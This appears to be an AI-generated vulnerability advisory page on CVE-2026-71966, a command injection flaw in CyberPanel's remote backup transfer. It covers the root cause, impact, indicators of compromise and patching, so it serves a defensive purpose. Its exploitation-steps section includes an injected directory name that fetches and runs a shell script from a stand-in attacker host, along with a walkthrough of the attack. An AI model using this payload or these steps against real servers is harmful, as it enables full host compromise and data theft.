CVE-2026-71966
Cyberpanel vulnerability analysis and mitigation

Overview

CVE-2026-71966 is an authenticated OS command injection vulnerability in CyberPanel's remote backup transfer feature, classified under CWE-78. It affects CyberPanel version 2.4.3 and earlier, and was disclosed on August 10, 2026, with a fix committed in commit eca0c3c. The vulnerability carries a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 base score of 8.7 (High) (GitHub Advisory, Feedly).

Technical details

The root cause is improper neutralization of special elements in OS commands (CWE-78) within CyberPanel's remoteBackup.py and backupManager.py modules. When a remote backup transfer is initiated, the application fetches a directory name from a remote server's API response and passes it unsanitized to OS command execution functions — bypassing security middleware validation. An authenticated attacker who controls a remote server can craft a malicious API response containing shell metacharacters (e.g., ;, &&, |) in the directory name field, causing arbitrary command execution on the CyberPanel host. The patch (commit eca0c3c) addresses this by adding shlex.quote() wrapping, alphanumeric validation via regex, path traversal checks, and ACLManager.commandInjectionCheck() calls on all user-controllable inputs (GitHub Commit, GitHub Advisory).

Impact

Successful exploitation allows an authenticated attacker to execute arbitrary OS commands on the CyberPanel server with the privileges of the CyberPanel service process, resulting in full compromise of confidentiality, integrity, and availability. An attacker could exfiltrate sensitive data (hosted websites, credentials, SSL certificates), modify or destroy files, install backdoors, or pivot to other systems on the same network. Because CyberPanel typically runs with elevated privileges to manage web hosting infrastructure, the blast radius of exploitation is significant (GitHub Advisory, Feedly).

Exploitability

The NVD SSVC assessment classifies exploitation status as "poc" (proof-of-concept exists), though no confirmed in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is approximately 2.08% (80th percentile), indicating a moderate near-term exploitation probability. No threat actor attribution or CISA KEV catalog listing has been identified. Exploitation requires valid CyberPanel credentials (low privilege) and the ability to control or spoof a remote backup server's API response (GitHub Advisory, Feedly).

Exploitation steps

  1. Obtain credentials: Acquire valid CyberPanel user credentials with access to the remote backup transfer feature (e.g., via phishing, credential stuffing, or a low-privilege account).
  2. Set up a malicious server: Stand up a server that mimics a legitimate CyberPanel remote backup destination and configure it to return a crafted API response containing a malicious directory name, such as transfer-1234; curl http://attacker.com/shell.sh | bash.
  3. Configure remote backup destination: Log into CyberPanel and configure the remote backup destination to point to the attacker-controlled server using the backup destination settings.
  4. Trigger the backup transfer: Initiate a remote backup transfer operation from the CyberPanel interface, causing the panel to contact the attacker-controlled server and retrieve the malicious API response.
  5. Command injection executes: The unsanitized directory name from the API response is interpolated into an OS command string (e.g., in remoteBackupRestore or localRestoreStatus) and executed by the server, running the injected payload with CyberPanel's process privileges.
  6. Achieve objective: The injected command executes — establishing a reverse shell, dropping a web shell, or exfiltrating data — giving the attacker persistent access to the host (GitHub Commit, GitHub Advisory).

Indicators of compromise

  • Network: Unexpected outbound connections from the CyberPanel server to unknown external IPs, particularly following a remote backup transfer operation; DNS lookups or HTTP requests to attacker-controlled infrastructure initiated by the CyberPanel process.
  • Logs: CyberPanel application logs (/usr/local/CyberCP/logs/) showing backup transfer operations with unusual or non-numeric directory names containing shell metacharacters (;, |, &&, backticks); errors in backup log files referencing unexpected command output.
  • Process: Unusual child processes spawned by the CyberPanel Python process (e.g., /bin/bash, curl, wget, python, nc) visible via ps aux or process monitoring tools.
  • File System: Unexpected new files in /home/backup/, /tmp/, or web-accessible directories; new cron jobs or SSH authorized keys added to /root/.ssh/authorized_keys; web shells placed in CyberPanel's web root.
  • Authentication: Successful logins to CyberPanel from unfamiliar IP addresses prior to backup transfer events (GitHub Commit).

Mitigation and workarounds

The vendor has released a fix in commit eca0c3c of the CyberPanel repository; users should update to any version incorporating this commit or later. As an interim workaround for systems that cannot be immediately patched, restrict network access to the remote backup transfer feature and ensure only explicitly trusted, verified remote servers are configured as backup destinations. Additionally, review and audit existing remote backup destination configurations to remove any untrusted entries, and consider disabling the remote backup feature entirely until patching is complete (GitHub Advisory, GitHub Commit).

Community reactions

The vulnerability was assigned and disclosed by VulnCheck, which published an advisory detailing the authenticated command injection via the starRemoteTransfer functionality. A technical blog post by the researcher (themcsam) at themcsam.github.io documents the vulnerability alongside other CyberPanel 2.4.3 findings. No significant broader media coverage or notable social media discussion has been identified beyond these initial disclosures (GitHub Advisory).

Additional resources


SourceThis report was generated using AI

Related Cyberpanel vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-67614CRITICAL9.3
  • Cyberpanel logoCyberpanel
  • cpe:2.3:a:cyberpanel:cyberpanel
NoYesAug 13, 2026
CVE-2026-71966HIGH8.7
  • Cyberpanel logoCyberpanel
  • cpe:2.3:a:cyberpanel:cyberpanel
NoYesAug 10, 2026
CVE-2026-71965HIGH8.7
  • Cyberpanel logoCyberpanel
  • cpe:2.3:a:cyberpanel:cyberpanel
NoYesAug 10, 2026
CVE-2026-71964HIGH7.1
  • Cyberpanel logoCyberpanel
  • cpe:2.3:a:cyberpanel:cyberpanel
NoYesAug 10, 2026
CVE-2026-67613MEDIUM6.9
  • Cyberpanel logoCyberpanel
  • cpe:2.3:a:cyberpanel:cyberpanel
NoYesAug 13, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management